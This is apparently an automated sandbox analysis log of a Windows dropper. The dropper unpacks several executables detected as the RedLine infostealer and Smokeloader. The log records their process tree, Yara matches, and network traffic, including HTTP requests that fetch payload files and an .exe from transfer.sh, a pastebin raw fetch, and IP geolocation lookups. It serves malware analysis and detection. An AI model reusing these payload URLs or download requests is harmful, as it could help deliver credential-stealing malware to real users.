Source: 123.exe, 00000002.00000002.365887055.0000000002A61000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.374973505.0000000002C51000.00000004.00000800.00020000.00000000.sdmp, 1234.exe, 00000004.00000002.379579196.00000000030F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegSvcs.exe, 00000005.00000002.447067002.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: RegSvcs.exe, 00000005.00000002.447067002.0000000002C04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: RegSvcs.exe, 00000005.00000002.447067002.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: RegSvcs.exe, 00000005.00000002.447067002.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: RegSvcs.exe, 00000005.00000002.447067002.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: RegSvcs.exe, 00000005.00000002.447067002.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: RegSvcs.exe, 00000005.00000002.447067002.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: RegSvcs.exe, 00000005.00000002.447067002.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: RegSvcs.exe, 00000005.00000002.447067002.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: RegSvcs.exe, 00000005.00000002.447067002.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: 123.exe, 00000002.00000002.515983666.0000000006A48000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.550758209.0000000006B47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: RegSvcs.exe, 00000005.00000002.596268160.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: RegSvcs.exe, 00000005.00000002.596268160.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RegSvcs.exe, 00000005.00000002.596268160.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: RegSvcs.exe, 00000005.00000002.596268160.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004AD3000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005BB4000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004AB6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004A38000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005B97000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.447067002.0000000002E59000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.447067002.0000000003091000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004A55000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: RegSvcs.exe, 00000005.00000002.596268160.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RegSvcs.exe, 00000005.00000002.596268160.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004AD3000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005BB4000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004AB6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004A38000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005B97000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.447067002.0000000002E59000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.447067002.0000000003091000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004A55000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: RegSvcs.exe, 00000005.00000002.596268160.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004AD3000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005BB4000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004AB6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004A38000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005B97000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.447067002.0000000002E59000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.447067002.0000000003091000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004A55000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=
Source: RegSvcs.exe, 00000005.00000002.596268160.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004AD3000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005BB4000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004A55000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
Source: RegSvcs.exe, 00000005.00000002.596268160.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004AD3000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005BB4000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004AB6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004A38000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005B97000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.447067002.0000000002E59000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.447067002.0000000003091000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004A55000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfpf
Source: 321.exe, 00000003.00000002.374973505.0000000002CE0000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.386698684.0000000003F48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: 321.exe, 00000003.00000002.374973505.0000000002C51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://transfer.sh/get/I12lIq/Cmvqi.bmp
Source: 123.exe, 00000002.00000002.365887055.0000000002A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://transfer.sh/get/cAvBHQ/Ecjzqvnws.dat
Source: 1234.exe, 00000004.00000002.379579196.00000000030F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://transfer.sh/get/fmUJTQ/Xlelcdl.dat
Source: 123.exe, 00000002.00000002.365887055.0000000002A61000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.374973505.0000000002C51000.00000004.00000800.00020000.00000000.sdmp, 1234.exe, 00000004.00000002.379579196.00000000030F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://transfer.sh4
Source: RegSvcs.exe, 00000005.00000002.596268160.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004AD3000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005BB4000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004AB6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004A38000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005B97000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.447067002.0000000002E59000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.447067002.0000000003091000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004A55000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 123.exe, 00000002.00000002.515983666.0000000006A48000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.550758209.0000000006B47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.newtonsoft.com/json
Source: 321.exe, 00000003.00000002.550758209.0000000006B47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: 123.exe, 00000002.00000002.515983666.0000000006A48000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.550758209.0000000006B47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson

Source: unknown

DNS traffic detected: queries for: transfer.sh

Source: global traffic	HTTP traffic detected: GET /get/I12lIq/Cmvqi.bmp HTTP/1.1Host: transfer.shConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /get/cAvBHQ/Ecjzqvnws.dat HTTP/1.1Host: transfer.shConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /get/fmUJTQ/Xlelcdl.dat HTTP/1.1Host: transfer.shConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /get/wADq8n/434123433142.exe HTTP/1.1User-Agent: SmartLoaderHost: transfer.shConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/aCZb2pjR HTTP/1.1User-Agent: SmartClipperHost: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json/?fields=query,status,countryCode,city,timezone HTTP/1.1Content-Type: application/jsonUser-Agent: SmartClipperHost: ip-api.com
Source: global traffic	HTTP traffic detected: GET /json/?fields=query,status,countryCode,city,timezone HTTP/1.1Content-Type: application/jsonUser-Agent: SmartLoaderHost: ip-api.com
Source: global traffic	HTTP traffic detected: GET /get/wADq8n/434123433142.exe HTTP/1.1Content-Type: application/jsonUser-Agent: SmartLoaderHost: transfer.sh
Source: global traffic	HTTP traffic detected: GET /raw/aCZb2pjR HTTP/1.1Content-Type: application/jsonUser-Agent: SmartClipperHost: pastebin.com

Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49684
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49682
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49681
Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49682 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49681 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.115
Source: unknown	TCP traffic detected without corresponding DNS query: 103.173.229.190
Source: unknown	TCP traffic detected without corresponding DNS query: 103.173.229.190
Source: unknown	TCP traffic detected without corresponding DNS query: 103.173.229.190
Source: unknown	TCP traffic detected without corresponding DNS query: 103.173.229.190
Source: unknown	TCP traffic detected without corresponding DNS query: 103.173.229.190
Source: unknown	TCP traffic detected without corresponding DNS query: 103.173.229.190
Source: unknown	TCP traffic detected without corresponding DNS query: 103.173.229.190
Source: unknown	TCP traffic detected without corresponding DNS query: 103.173.229.190
Source: unknown	TCP traffic detected without corresponding DNS query: 103.173.229.190
Source: unknown	TCP traffic detected without corresponding DNS query: 46.173.218.172
Source: unknown	TCP traffic detected without corresponding DNS query: 8.238.189.126
Source: unknown	TCP traffic detected without corresponding DNS query: 8.238.189.126
Source: unknown	TCP traffic detected without corresponding DNS query: 8.238.189.126
Source: unknown	TCP traffic detected without corresponding DNS query: 8.238.189.126
Source: unknown	TCP traffic detected without corresponding DNS query: 46.173.218.172
Source: unknown	TCP traffic detected without corresponding DNS query: 103.173.229.190
Source: unknown	TCP traffic detected without corresponding DNS query: 103.173.229.190
Source: unknown	TCP traffic detected without corresponding DNS query: 103.173.229.190
Source: unknown	TCP traffic detected without corresponding DNS query: 103.173.229.190
Source: unknown	TCP traffic detected without corresponding DNS query: 103.173.229.190
Source: unknown	TCP traffic detected without corresponding DNS query: 103.173.229.190
Source: unknown	TCP traffic detected without corresponding DNS query: 103.173.229.190
Source: unknown	TCP traffic detected without corresponding DNS query: 84.252.73.140
Source: unknown	TCP traffic detected without corresponding DNS query: 103.173.229.190
Source: unknown	TCP traffic detected without corresponding DNS query: 103.173.229.190
Source: unknown	TCP traffic detected without corresponding DNS query: 103.173.229.190
Source: unknown	TCP traffic detected without corresponding DNS query: 103.173.229.190
Source: unknown	TCP traffic detected without corresponding DNS query: 46.173.218.172
Source: unknown	TCP traffic detected without corresponding DNS query: 103.173.229.190
Source: unknown	TCP traffic detected without corresponding DNS query: 103.173.229.190

Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49682 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49683 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49684 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.68.143:443 -> 192.168.2.3:49699 version: TLS 1.2

Source: 11.exe, 00000001.00000002.260187138.00000000009FA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.2.11.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 1.2.11.exe.42ca70.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 1.3.11.exe.25c0000.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 1.2.11.exe.42ca70.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 5.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 1.2.11.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000001.00000002.260239525.0000000000A09000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen

Source: C:\Windows\Temp\11.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1944 -s 268

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013B5983	0_2_013B5983
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013A83EB	0_2_013A83EB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013A31F0	0_2_013A31F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013AE097	0_2_013AE097
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013BE8EC	0_2_013BE8EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013B30E5	0_2_013B30E5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013CE8D4	0_2_013CE8D4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013B2B39	0_2_013B2B39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C2B68	0_2_013C2B68
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013CA350	0_2_013CA350
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013B63F1	0_2_013B63F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013AD222	0_2_013AD222
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013BF200	0_2_013BF200
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013ABA6A	0_2_013ABA6A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013BFA6A	0_2_013BFA6A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013B5DB8	0_2_013B5DB8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013B2DB4	0_2_013B2DB4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013BEDE8	0_2_013BEDE8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013ADC32	0_2_013ADC32
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013AECE9	0_2_013AECE9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013A2759	0_2_013A2759
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013B4FB4	0_2_013B4FB4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013A3F95	0_2_013A3F95
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013AD634	0_2_013AD634
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013BF635	0_2_013BF635
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C9EA0	0_2_013C9EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013A5E83	0_2_013A5E83
Source: C:\Windows\Temp\11.exe	Code function: 1_2_0040F10E	1_2_0040F10E
Source: C:\Windows\Temp\11.exe	Code function: 1_2_00413A79	1_2_00413A79
Source: C:\Windows\Temp\11.exe	Code function: 1_2_0041329D	1_2_0041329D
Source: C:\Windows\Temp\11.exe	Code function: 1_2_00417E9F	1_2_00417E9F
Source: C:\Windows\Temp\11.exe	Code function: 1_2_02718306	1_2_02718306
Source: C:\Windows\Temp\11.exe	Code function: 1_2_02713704	1_2_02713704
Source: C:\Windows\Temp\11.exe	Code function: 1_2_0270F575	1_2_0270F575

Source: C:\Users\user\Desktop\file.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dxgidebug.dll	Jump to behavior

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 1.2.11.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 1.2.11.exe.42ca70.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 1.3.11.exe.25c0000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 1.2.11.exe.42ca70.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 5.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 1.2.11.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 2.2.123.exe.3fb3d60.2.raw.unpack, type: UNPACKEDPE	Matched rule: Typical_Malware_String_Transforms date = 2016-07-31, author = Florian Roth (Nextron Systems), description = Detects typical strings in a reversed or otherwise modified form, score = , reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 3.2.321.exe.3f48dc0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Typical_Malware_String_Transforms date = 2016-07-31, author = Florian Roth (Nextron Systems), description = Detects typical strings in a reversed or otherwise modified form, score = , reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 4.2.1234.exe.463fb90.2.raw.unpack, type: UNPACKEDPE	Matched rule: Typical_Malware_String_Transforms date = 2016-07-31, author = Florian Roth (Nextron Systems), description = Detects typical strings in a reversed or otherwise modified form, score = , reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 00000001.00000002.260239525.0000000000A09000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073

Source: C:\Users\user\Desktop\file.exe

File deleted: C:\Windows\Temp\__tmp_rar_sfx_access_check_4753796

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 013BCEC0 appears 53 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 013BD810 appears 31 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 013BCDF0 appears 37 times
Source: C:\Windows\Temp\11.exe	Code function: String function: 004051D0 appears 49 times
Source: C:\Windows\Temp\11.exe	Code function: String function: 02705637 appears 49 times

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_013A7070: __EH_prolog,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

0_2_013A7070

Source: file.exe, 00000000.00000003.243437769.0000000002910000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameHerbalEssentials.exe: vs file.exe

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\Temp\123.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\123.exe.log

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@52/71@8/9

Source: C:\Users\user\Desktop\file.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_013B8BCF FindResourceW,DeleteObject,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

0_2_013B8BCF

Source: file.exe	ReversingLabs: Detection: 32%
Source: file.exe	Virustotal: Detection: 52%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe C:\Users\user\Desktop\file.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Temp\11.exe "C:\Windows\Temp\11.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Temp\123.exe "C:\Windows\Temp\123.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Temp\321.exe "C:\Windows\Temp\321.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Temp\1234.exe "C:\Windows\Temp\1234.exe"
